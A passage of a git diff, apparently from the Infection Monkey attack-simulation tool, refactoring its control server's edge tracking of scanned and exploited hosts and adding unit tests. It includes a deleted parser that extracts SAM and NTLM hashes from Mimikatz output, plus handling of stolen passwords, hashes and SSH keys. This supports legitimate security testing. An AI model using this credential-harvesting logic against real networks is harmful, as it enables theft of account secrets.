return displayed_edge - - @staticmethod - def insert_edge(from_id, to_id): - edge_insert_result = mongo.db.edge.insert_one( - { - "from": from_id, - "to": to_id, - "scans": [], - "exploits": [], - "tunnel": False, - "exploited": False, - "src_label": EdgeService.get_label_for_endpoint(from_id), - "dst_label": EdgeService.get_label_for_endpoint(to_id) - }) - return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id}) - - @staticmethod - def get_or_create_edge(edge_from, edge_to): - tunnel_edge = mongo.db.edge.find_one({"from": edge_from, "to": edge_to}) - if tunnel_edge is None: - tunnel_edge = EdgeService.insert_edge(edge_from, edge_to) - - return tunnel_edge - - @staticmethod - def generate_pseudo_edge(edge_id, edge_from, edge_to): - edge = \ - { - "id": edge_id, - "from": edge_from, - "to": edge_to, - "group": "island", - "src_label": EdgeService.get_label_for_endpoint(edge_from), - "dst_label": EdgeService.get_label_for_endpoint(edge_to) - } - edge["_label"] = EdgeService.get_edge_label(edge) - return edge - - @staticmethod - def get_monkey_island_pseudo_edges(): - edges = [] - monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) if "tunnel" not in x] - # We're using fake ids because the frontend graph module requires unique ids. - # Collision with real id is improbable. - count = 0 - for monkey_id in monkey_ids: - count += 1 - edges.append(EdgeService.generate_pseudo_edge( - ObjectId(hex(count)[2:].zfill(24)), monkey_id, ObjectId("000000000000000000000000"))) - - return edges - - @staticmethod - def get_infected_monkey_island_pseudo_edges(): - monkey = monkey_island.cc.services.node.NodeService.get_monkey_island_monkey() - existing_ids = [x["from"] for x in mongo.db.edge.find({"to": monkey["_id"]})] - monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) - if ("tunnel" not in x) and (x["_id"] not in existing_ids) and (x["_id"] != monkey["_id"])] - edges = [] - - # We're using fake ids because the frontend graph module requires unique ids. - # Collision with real id is improbable. - count = 0 - for monkey_id in monkey_ids: - count += 1 - edges.append(EdgeService.generate_pseudo_edge( - ObjectId(hex(count)[2:].zfill(24)), monkey_id, monkey["_id"])) - - return edges - - @staticmethod - def services_to_displayed_services(services, for_report=False): - if for_report: - return [x for x in services] - else: - return [x + ": " + (services[x]['name'] if 'name' in services[x] else 'unknown') for x in services] - - @staticmethod - def edge_to_net_edge(edge): - return \ - { - "id": edge["_id"], - "from": edge["from"], - "to": edge["to"], - "group": EdgeService.get_edge_group(edge), - "src_label": edge["src_label"], - "dst_label": edge["dst_label"] - } - - @staticmethod - def get_edge_group(edge): - if edge.get("exploited"): - return "exploited" - if edge.get("tunnel"): - return "tunnel" - if (len(edge.get("scans", [])) > 0) or (len(edge.get("exploits", [])) > 0): - return "scan" - return "empty" - - @staticmethod - def set_edge_exploited(edge): - mongo.db.edge.update( - {"_id": edge["_id"]}, - {"$set": {"exploited": True}} - ) - monkey_island.cc.services.node.NodeService.set_node_exploited(edge["to"]) - - @staticmethod - def get_edge_label(edge): - return "%s %s %s" % (edge['src_label'], RIGHT_ARROW, edge['dst_label']) - - @staticmethod - def get_label_for_endpoint(endpoint_id): - node_service = monkey_island.cc.services.node.NodeService - if endpoint_id == ObjectId("000000000000000000000000"): - return 'MonkeyIsland' - if Monkey.is_monkey(endpoint_id): - return Monkey.get_label_by_id(endpoint_id) - else: - return node_service.get_node_label(node_service.get_node_by_id(endpoint_id)) - - @staticmethod - def update_label_by_endpoint(edge, endpoint_id): - label = EdgeService.get_label_for_endpoint(endpoint_id) - if endpoint_id == edge["to"]: - mongo_field = {"dst_label": label} - else: - mongo_field = {"src_label": label} - mongo.db.edge.update({"_id": edge["_id"]}, - {"$set": mongo_field}) - - -RIGHT_ARROW = "\u2192" diff --git a/monkey/monkey_island/cc/services/edge/__init__.py b/monkey/monkey_island/cc/services/edge/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/edge/displayed_edge.py b/monkey/monkey_island/cc/services/edge/displayed_edge.py new file mode 100644 index 000000000..f7a0664bf --- /dev/null +++ b/monkey/monkey_island/cc/services/edge/displayed_edge.py @@ -0,0 +1,83 @@ +from copy import deepcopy +from typing import Dict + +from bson import ObjectId + +from monkey_island.cc.services.edge.edge import EdgeService + +__author__ = "itay.mizeretz" + + +class DisplayedEdgeService: + + @staticmethod + def get_displayed_edges_by_dst(dst_id: str, for_report=False): + edges = EdgeService.get_by_dst_node(dst_node_id=ObjectId(dst_id)) + return [DisplayedEdgeService.edge_to_displayed_edge(edge, for_report) for edge in edges] + + @staticmethod + def get_displayed_edge_by_id(edge_id: str, for_report=False): + edge = EdgeService.get_edge_by_id(ObjectId(edge_id)) + displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge, for_report) + return displayed_edge + + @staticmethod + def edge_to_displayed_edge(edge: EdgeService, for_report=False): + services = [] + os = {} + + if len(edge.scans) > 0: + services = DisplayedEdgeService.services_to_displayed_services(edge.scans[-1]["data"]["services"], + for_report) + os = edge.scans[-1]["data"]["os"] + + displayed_edge = DisplayedEdgeService.edge_to_net_edge(edge) + + displayed_edge["ip_address"] = edge.ip_address + displayed_edge["services"] = services + displayed_edge["os"] = os + # we need to deepcopy all mutable edge properties, because weak-reference link is made otherwise, + # which is destroyed after method is exited and causes an error later. + displayed_edge["exploits"] = deepcopy(edge.exploits) + displayed_edge["_label"] = edge.get_label() + return displayed_edge + + @staticmethod + def generate_pseudo_edge(edge_id, src_node_id, dst_node_id, src_label, dst_label): + edge = \ + { + "id": edge_id, + "from": src_node_id, + "to": dst_node_id, + "group": "island", + "src_label": src_label, + "dst_label": dst_label + } + edge["_label"] = DisplayedEdgeService.get_pseudo_label(edge) + return edge + + @staticmethod + def get_pseudo_label(edge: Dict): + return f"{edge['src_label']} {RIGHT_ARROW} {edge['dst_label']}" + + @staticmethod + def services_to_displayed_services(services, for_report=False): + if for_report: + return [x for x in services] + else: + return [x + ": " + (services[x]['name'] if 'name' in services[x] else 'unknown') for x in services] + + @staticmethod + def edge_to_net_edge(edge: EdgeService): + return \ + { + "id": edge.id, + "from": edge.src_node_id, + "to": edge.dst_node_id, + "group": edge.get_group(), + "src_label": edge.src_label, + "dst_label": edge.dst_label + } + + +RIGHT_ARROW = "\u2192" diff --git a/monkey/monkey_island/cc/services/edge/edge.py b/monkey/monkey_island/cc/services/edge/edge.py new file mode 100644 index 000000000..4c9ef57d7 --- /dev/null +++ b/monkey/monkey_island/cc/services/edge/edge.py @@ -0,0 +1,101 @@ +from __future__ import annotations + +import copy +from typing import Dict, List + +from bson import ObjectId +from mongoengine import DoesNotExist + +from monkey_island.cc.models.edge import Edge + +RIGHT_ARROW = "\u2192" + + +class EdgeService(Edge): + + @staticmethod + def get_all_edges() -> List[EdgeService]: + return EdgeService.objects() + + @staticmethod + def get_or_create_edge(src_node_id, dst_node_id, src_label, dst_label) -> EdgeService: + edge = None + try: + edge = EdgeService.objects.get(src_node_id=src_node_id, dst_node_id=dst_node_id) + except DoesNotExist: + edge = EdgeService(src_node_id=src_node_id, dst_node_id=dst_node_id) + finally: + if edge: + edge.update_label(node_id=src_node_id, label=src_label) + edge.update_label(node_id=dst_node_id, label=dst_label) + return edge + + @staticmethod + def get_by_dst_node(dst_node_id: ObjectId) -> List[EdgeService]: + return EdgeService.objects(dst_node_id=dst_node_id) + + @staticmethod + def get_edge_by_id(edge_id: ObjectId) -> EdgeService: + return EdgeService.objects.get(id=edge_id) + + def update_label(self, node_id: ObjectId, label: str): + if self.src_node_id == node_id: + self.src_label = label + elif self.dst_node_id == node_id: + self.dst_label = label + else: + raise DoesNotExist("Node id provided does not match with any endpoint of an self provided.") + self.save() + + @staticmethod + def update_all_dst_nodes(old_dst_node_id: ObjectId, new_dst_node_id: ObjectId): + for edge in EdgeService.objects(dst_node_id=old_dst_node_id): + edge.dst_node_id = new_dst_node_id + edge.save() + + @staticmethod + def get_tunnel_edges_by_src(src_node_id) -> List[EdgeService]: + try: + return EdgeService.objects(src_node_id=src_node_id, tunnel=True) + except DoesNotExist: + return [] + + def disable_tunnel(self): + self.tunnel = False + self.save() + + def update_based_on_scan_telemetry(self, telemetry: Dict): + machine_info = copy.deepcopy(telemetry['data']['machine']) + new_scan = \ + { + "timestamp": telemetry["timestamp"], + "data": machine_info + } + ip_address = machine_info.pop("ip_addr") + domain_name = machine_info.pop("domain_name") + self.scans.append(new_scan) + self.ip_address = ip_address + self.domain_name = domain_name + self.save() + + def update_based_on_exploit(self, exploit: Dict): + self.exploits.append(exploit) + self.save() + if exploit['result']: + self.set_exploited() + + def set_exploited(self): + self.exploited = True + self.save() + + def get_group(self) -> str: + if self.exploited: + return "exploited" + if self.tunnel: + return "tunnel" + if self.scans or self.exploits: + return "scan" + return "empty" + + def get_label(self) -> str: + return f"{self.src_label} {RIGHT_ARROW} {self.dst_label}" diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py new file mode 100644 index 000000000..c134bce33 --- /dev/null +++ b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py @@ -0,0 +1,97 @@ +from bson import ObjectId + +from monkey_island.cc.models.edge import Edge +from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService +from monkey_island.cc.services.edge.edge import EdgeService, RIGHT_ARROW +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + +SCAN_DATA_MOCK = [{ + "timestamp": "2020-05-27T14:59:28.944Z", + "data": { + "os": { + "type": "linux", + "version": "Ubuntu-4ubuntu2.8" + }, + "services": { + "tcp-8088": { + "display_name": "unknown(TCP)", + "port": 8088 + }, + "tcp-22": { + "display_name": "SSH", + "port": 22, + "banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n", + "name": "ssh" + } + }, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None + } +}] + +EXPLOIT_DATA_MOCK = [{ + "result": True, + "exploiter": "ElasticGroovyExploiter", + "info": { + "display_name": "Elastic search", + "started": "2020-05-11T08:59:38.105Z", + "finished": "2020-05-11T08:59:38.106Z", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [] + }, + "attempts": [], + "timestamp": "2020-05-27T14:59:29.048Z" +}] + + +class TestDisplayedEdgeService(IslandTestCase): + def test_get_displayed_edges_by_to(self): + self.clean_edge_db() + + dst_id = ObjectId() + + src_id = ObjectId() + EdgeService.get_or_create_edge(src_id, dst_id, "Ubuntu-4ubuntu2.8", "Ubuntu-4ubuntu2.8") + + src_id2 = ObjectId() + EdgeService.get_or_create_edge(src_id2, dst_id, "Ubuntu-4ubuntu3.2", "Ubuntu-4ubuntu2.8") + + displayed_edges = DisplayedEdgeService.get_displayed_edges_by_dst(str(dst_id)) + self.assertEqual(len(displayed_edges), 2) + + def test_edge_to_displayed_edge(self): + src_node_id = ObjectId() + dst_node_id = ObjectId() + edge = EdgeService(src_node_id=src_node_id, + dst_node_id=dst_node_id, + scans=SCAN_DATA_MOCK, + exploits=EXPLOIT_DATA_MOCK, + exploited=True, + domain_name=None, + ip_address="10.2.2.2", + dst_label="Ubuntu-4ubuntu2.8", + src_label="Ubuntu-4ubuntu3.2") + + displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge) + + self.assertEqual(displayed_edge['to'], dst_node_id) + self.assertEqual(displayed_edge['from'], src_node_id) + self.assertEqual(displayed_edge['ip_address'], "10.2.2.2") + self.assertListEqual(displayed_edge['services'], ["tcp-8088: unknown", "tcp-22: ssh"]) + self.assertEqual(displayed_edge['os'], {"type": "linux", + "version": "Ubuntu-4ubuntu2.8"}) + self.assertEqual(displayed_edge['exploits'], EXPLOIT_DATA_MOCK) + self.assertEqual(displayed_edge['_label'], "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8") + self.assertEqual(displayed_edge['group'], "exploited") + return displayed_edge + + def test_services_to_displayed_services(self): + services1 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], + True) + self.assertEqual(services1, ["tcp-8088", "tcp-22"]) + + services2 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], + False) + self.assertEqual(services2, ["tcp-8088: unknown", "tcp-22: ssh"]) diff --git a/monkey/monkey_island/cc/services/edge/test_edge.py b/monkey/monkey_island/cc/services/edge/test_edge.py new file mode 100644 index 000000000..8ebf45343 --- /dev/null +++ b/monkey/monkey_island/cc/services/edge/test_edge.py @@ -0,0 +1,60 @@ +import logging + +from mongomock import ObjectId + +from monkey_island.cc.models.edge import Edge +from monkey_island.cc.services.edge.edge import EdgeService +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + +logger = logging.getLogger(__name__) + + +class TestEdgeService(IslandTestCase): + """ + Make sure to set server environment to `testing` in server_config.json! + Otherwise this will mess up your mongo instance and won't work. + + Also, the working directory needs to be the working directory from which you usually run the island so the + server_config.json file is found and loaded. + """ + + def test_get_or_create_edge(self): + self.fail_if_not_testing_env() + self.clean_edge_db() + + src_id = ObjectId() + dst_id = ObjectId() + + test_edge1 = EdgeService.get_or_create_edge(src_id, dst_id, "Mock label 1", "Mock label 2") + self.assertEqual(test_edge1.src_node_id, src_id) + self.assertEqual(test_edge1.dst_node_id, dst_id) + self.assertFalse(test_edge1.exploited) + self.assertFalse(test_edge1.tunnel) + self.assertListEqual(test_edge1.scans, []) + self.assertListEqual(test_edge1.exploits, []) + self.assertEqual(test_edge1.src_label, "Mock label 1") + self.assertEqual(test_edge1.dst_label, "Mock label 2") + self.assertIsNone(test_edge1.group) + self.assertIsNone(test_edge1.domain_name) + self.assertIsNone(test_edge1.ip_address) + + EdgeService.get_or_create_edge(src_id, dst_id, "Mock label 1", "Mock label 2") + self.assertEqual(len(Edge.objects()), 1) + + def test_get_edge_group(self): + edge = Edge(src_node_id=ObjectId(), + dst_node_id=ObjectId(), + exploited=True) + self.assertEqual("exploited", EdgeService.get_group(edge)) + + edge.exploited = False + edge.tunnel = True + self.assertEqual("tunnel", EdgeService.get_group(edge)) + + edge.tunnel = False + edge.exploits.append(["mock_exploit_data"]) + self.assertEqual("scan", EdgeService.get_group(edge)) + + edge.exploits = [] + edge.scans = [] + self.assertEqual("empty", EdgeService.get_group(edge)) diff --git a/monkey/monkey_island/cc/services/mimikatz_utils.py b/monkey/monkey_island/cc/services/mimikatz_utils.py deleted file mode 100644 index e2ab8ec10..000000000 --- a/monkey/monkey_island/cc/services/mimikatz_utils.py +++ /dev/null @@ -1,51 +0,0 @@ -__author__ = 'maor.rayzin' - - -class MimikatzSecrets(object): - - def __init__(self): - # Static class - pass - - @staticmethod - def extract_sam_secrets(mim_string, users_dict): - users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] - - if mim_string.count("\n42.") != 2: - return {} - - for sam_user_txt in users_secrets: - sam_user = dict([list(map(str.strip, line.split(":"))) for line in - [l for l in sam_user_txt.splitlines() if l.count(":") == 1]]) - username = sam_user.get("User") - users_dict[username] = {} - - ntlm = sam_user.get("NTLM") - if not ntlm or "[hashed secret]" not in ntlm: - continue - - users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip() - - @staticmethod - def extract_ntlm_secrets(mim_string, users_dict): - - if mim_string.count("\n42.") != 2: - return {} - - ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:] - - for ntds_user_txt in ntds_users: - user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() - ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() - ntlm = ntlm.replace("[hashed secret]", "").strip() - users_dict[user] = {} - if ntlm: - users_dict[user]['ntlm'] = ntlm - - @staticmethod - def extract_secrets_from_mimikatz(mim_string): - users_dict = {} - MimikatzSecrets.extract_sam_secrets(mim_string, users_dict) - MimikatzSecrets.extract_ntlm_secrets(mim_string, users_dict) - - return users_dict diff --git a/monkey/monkey_island/cc/services/netmap/net_edge.py b/monkey/monkey_island/cc/services/netmap/net_edge.py new file mode 100644 index 000000000..44e097630 --- /dev/null +++ b/monkey/monkey_island/cc/services/netmap/net_edge.py @@ -0,0 +1,70 @@ +from bson import ObjectId + +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.edge import Edge +from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService +from monkey_island.cc.services.edge.edge import EdgeService +from monkey_island.cc.services.node import NodeService + + +class NetEdgeService: + + @staticmethod + def get_all_net_edges(): + edges = NetEdgeService._get_standard_net_edges() + if NodeService.get_monkey_island_monkey() is None: + edges += NetEdgeService._get_uninfected_island_net_edges() + else: + monkey_island_monkey = NodeService.get_monkey_island_monkey() + edges += NetEdgeService._get_infected_island_net_edges(monkey_island_monkey) + return edges + + @staticmethod + def _get_standard_net_edges(): + return [DisplayedEdgeService.edge_to_net_edge(x) for x in EdgeService.get_all_edges()] + + @staticmethod + def _get_uninfected_island_net_edges(): + edges = [] + monkey_ids = [x.id for x in Monkey.objects() if "tunnel" not in x] + count = 0 + for monkey_id in monkey_ids: + count += 1 + # generating fake ID, because front end requires unique ID's for each edge. Collision improbable + fake_id = ObjectId(hex(count)[2:].zfill(24)) + island_id = ObjectId("000000000000000000000000") + monkey_label = NodeService.get_label_for_endpoint(monkey_id) + island_label = NodeService.get_label_for_endpoint(island_id) + island_pseudo_edge = DisplayedEdgeService.generate_pseudo_edge(edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=island_id, + src_label=monkey_label, + dst_label=island_label) + edges.append(island_pseudo_edge) + return edges + + @staticmethod + def _get_infected_island_net_edges(monkey_island_monkey): + existing_ids = [x.src_node_id for x + in EdgeService.get_by_dst_node(dst_node_id=monkey_island_monkey["_id"])] + monkey_ids = [x.id for x in Monkey.objects() + if ("tunnel" not in x) and + (x.id not in existing_ids) and + (x.id != monkey_island_monkey["_id"])] + edges = [] + + count = 0 + for monkey_id in monkey_ids: + count += 1 + # generating fake ID, because front end requires unique ID's for each edge. Collision improbable + fake_id = ObjectId(hex(count)[2:].zfill(24)) + src_label = NodeService.get_label_for_endpoint(monkey_id) + dst_label = NodeService.get_label_for_endpoint(monkey_island_monkey["_id"]) + edge = DisplayedEdgeService.generate_pseudo_edge(edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=monkey_island_monkey["_id"], + src_label=src_label, + dst_label=dst_label) + edges.append(edge) + + return edges diff --git a/monkey/monkey_island/cc/services/netmap/net_node.py b/monkey/monkey_island/cc/services/netmap/net_node.py new file mode 100644 index 000000000..796167cf5 --- /dev/null +++ b/monkey/monkey_island/cc/services/netmap/net_node.py @@ -0,0 +1,23 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.node import NodeService + + +class NetNodeService: + + @staticmethod + def get_all_net_nodes(): + monkeys = NetNodeService._get_monkey_net_nodes() + nodes = NetNodeService._get_standard_net_nodes() + if NodeService.get_monkey_island_monkey() is None: + monkey_island = [NodeService.get_monkey_island_pseudo_net_node()] + else: + monkey_island = [] + return monkeys + nodes + monkey_island + + @staticmethod + def _get_monkey_net_nodes(): + return [NodeService.monkey_to_net_node(x) for x in mongo.db.monkey.find({})] + + @staticmethod + def _get_standard_net_nodes(): + return [NodeService.node_to_net_node(x) for x in mongo.db.node.find({})] diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 9c0921580..f6f5362c3 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -3,13 +3,16 @@ from typing import Dict import socket from bson import ObjectId +from mongoengine import DoesNotExist import monkey_island.cc.services.log from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.models.edge import Edge +from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.network_utils import local_ip_addresses, is_local_ips from monkey_island.cc import models +from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.utils.node_states import NodeStates __author__ = "itay.mizeretz" @@ -48,18 +51,18 @@ class NodeService: accessible_from_nodes_hostnames = [] exploits = [] - edges = EdgeService.get_displayed_edges_by_to(node_id, for_report) + edges = DisplayedEdgeService.get_displayed_edges_by_dst(node_id, for_report) for edge in edges: - from_node_id = edge["from"] + from_node_id = edge['from'] from_node_label = Monkey.get_label_by_id(from_node_id) from_node_hostname = Monkey.get_hostname_by_id(from_node_id) accessible_from_nodes.append(from_node_label) accessible_from_nodes_hostnames.append(from_node_hostname) - for edge_exploit in edge["exploits"]: - edge_exploit["origin"] = from_node_label + for edge_exploit in edge['exploits']: + edge_exploit['origin'] = from_node_label exploits.append(edge_exploit) exploits = sorted(exploits, key=lambda exploit: exploit['timestamp']) @@ -186,23 +189,27 @@ class NodeService: {'$unset': {'tunnel': ''}}, upsert=False) - mongo.db.edge.update( - {"from": monkey_id, 'tunnel': True}, - {'$set': {'tunnel': False}}, - upsert=False) + edges = EdgeService.get_tunnel_edges_by_src(monkey_id) + for edge in edges: + edge.disable_tunnel() @staticmethod def set_monkey_tunnel(monkey_id, tunnel_host_ip): tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"] NodeService.unset_all_monkey_tunnels(monkey_id) mongo.db.monkey.update( - {"_id": monkey_id}, + {'_id': monkey_id}, {'$set': {'tunnel': tunnel_host_id}}, upsert=False) - tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id) - mongo.db.edge.update({"_id": tunnel_edge["_id"]}, - {'$set': {'tunnel': True, 'ip_address': tunnel_host_ip}}, - upsert=False) + monkey_label = NodeService.get_label_for_endpoint(monkey_id) + tunnel_host_label = NodeService.get_label_for_endpoint(tunnel_host_id) + tunnel_edge = EdgeService.get_or_create_edge(src_node_id=monkey_id, + dst_node_id=tunnel_host_id, + src_label=monkey_label, + dst_label=tunnel_host_label) + tunnel_edge.tunnel = True + tunnel_edge.ip_address = tunnel_host_ip + tunnel_edge.save() @staticmethod def insert_node(ip_address, domain_name=''): @@ -255,12 +262,16 @@ class NodeService: dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem['tunnel']) else: dst_node = NodeService.get_monkey_island_node() - edge = EdgeService.get_or_create_edge(new_node['_id'], dst_node['id']) - mongo.db.edge.update({"_id": edge["_id"]}, - {'$set': {'tunnel': bool(bootloader_telem['tunnel']), - 'ip_address': bootloader_telem['ips'][0], - 'group': NodeStates.get_by_keywords(['island']).value}}, - upsert=False) + src_label = NodeService.get_label_for_endpoint(new_node['_id']) + dst_label = NodeService.get_label_for_endpoint(dst_node['id']) + edge = EdgeService.get_or_create_edge(src_node_id=new_node['_id'], + dst_node_id=dst_node['id'], + src_label=src_label, + dst_label=dst_label) + edge.tunnel = bool(bootloader_telem['tunnel']) + edge.ip_address = bootloader_telem['ips'][0] + edge.group = NodeStates.get_by_keywords(['island']).value + edge.save() return new_node @staticmethod @@ -411,6 +422,15 @@ class NodeService: def get_hostname_by_id(node_id): return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) + @staticmethod + def get_label_for_endpoint(endpoint_id): + if endpoint_id == ObjectId("000000000000000000000000"): + return 'MonkeyIsland' + if Monkey.is_monkey(endpoint_id): + return Monkey.get_label_by_id(endpoint_id) + else: + return NodeService.get_node_label(NodeService.get_node_by_id(endpoint_id)) + class NodeCreationException(Exception): pass diff --git a/monkey/monkey_island/cc/services/reporting/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py index ecb209c69..f6d7b615a 100644 --- a/monkey/monkey_island/cc/services/reporting/pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/pth_report.py @@ -106,7 +106,8 @@ class PTHReportService(object): { 'username': user['name'], 'domain_name': user['domain_name'], - 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None + 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if + user['machine_id'] else None } for user in doc['Docs'] ] users_cred_groups.append({'cred_groups': users_list}) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 195eac3d6..1685046c5 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -184,10 +184,13 @@ class ReportService: continue origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] for user in monkey_creds: - for pass_type in monkey_creds[user]: + for pass_type in PASS_TYPE_DICT: + if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: + continue + username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user cred_row = \ { - 'username': user.replace(',', '.'), + 'username': username, 'type': PASS_TYPE_DICT[pass_type], 'origin': origin } @@ -729,8 +732,7 @@ class ReportService: 'stolen_creds': ReportService.get_stolen_creds(), 'azure_passwords': ReportService.get_azure_creds(), 'ssh_keys': ReportService.get_ssh_keys(), - 'strong_users': PTHReportService.get_strong_users_on_crit_details(), - 'pth_map': PTHReportService.get_pth_map() + 'strong_users': PTHReportService.get_strong_users_on_crit_details() }, 'recommendations': { diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 9b25c97ef..f8ea52b6e 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -2,10 +2,10 @@ import copy import dateutil -from monkey_island.cc.database import mongo from monkey_island.cc.encryptor import encryptor from monkey_island.cc.models import Monkey -from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.models.edge import Edge +from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited import test_machine_exploited @@ -14,7 +14,7 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited impo def process_exploit_telemetry(telemetry_json): encrypt_exploit_creds(telemetry_json) edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) - update_edge_info_with_new_exploit(edge, telemetry_json) + update_network_with_exploit(edge, telemetry_json) update_node_credentials_from_successful_attempts(edge, telemetry_json) test_machine_exploited( @@ -25,28 +25,25 @@ def process_exploit_telemetry(telemetry_json): timestamp=telemetry_json['timestamp']) -def update_node_credentials_from_successful_attempts(edge, telemetry_json): +def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): for attempt in telemetry_json['data']['attempts']: if attempt['result']: found_creds = {'user': attempt['user']} for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: if len(attempt[field]) != 0: found_creds[field] = attempt[field] - NodeService.add_credentials_to_node(edge['to'], found_creds) + NodeService.add_credentials_to_node(edge.dst_node_id, found_creds) -def update_edge_info_with_new_exploit(edge, telemetry_json): +def update_network_with_exploit(edge: EdgeService, telemetry_json): telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) new_exploit = copy.deepcopy(telemetry_json['data']) new_exploit.pop('machine') new_exploit['timestamp'] = telemetry_json['timestamp'] - mongo.db.edge.update( - {'_id': edge['_id']}, - {'$push': {'exploits': new_exploit}} - ) + edge.update_based_on_exploit(new_exploit) if new_exploit['result']: - EdgeService.set_edge_exploited(edge) + NodeService.set_node_exploited(edge.dst_node_id) def encrypt_exploit_creds(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index d57aef7c0..7a7f0b19c 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -1,8 +1,7 @@ -import copy - from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.services.edge.edge import EdgeService +from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation @@ -19,22 +18,11 @@ def process_scan_telemetry(telemetry_json): def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) - data = copy.deepcopy(telemetry_json['data']['machine']) - ip_address = data.pop("ip_addr") - domain_name = data.pop("domain_name") - new_scan = \ - { - "timestamp": telemetry_json["timestamp"], - "data": data - } - mongo.db.edge.update( - {"_id": edge["_id"]}, - {"$push": {"scans": new_scan}, - "$set": {"ip_address": ip_address, 'domain_name': domain_name}} - ) - node = mongo.db.node.find_one({"_id": edge["to"]}) + edge.update_based_on_scan_telemetry(telemetry_json) + + node = mongo.db.node.find_one({"_id": edge.dst_node_id}) if node is not None: - scan_os = new_scan["data"]["os"] + scan_os = telemetry_json['data']['machine']["os"] if "type" in scan_os: mongo.db.node.update({"_id": node["_id"]}, {"$set": {"os.type": scan_os["type"]}}, @@ -43,4 +31,5 @@ def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): mongo.db.node.update({"_id": node["_id"]}, {"$set": {"os.version": scan_os["version"]}}, upsert=False) - EdgeService.update_label_by_endpoint(edge, node["_id"]) + label = NodeService.get_label_for_endpoint(node["_id"]) + edge.update_label(node["_id"], label) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 844724163..88eb9285c 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,8 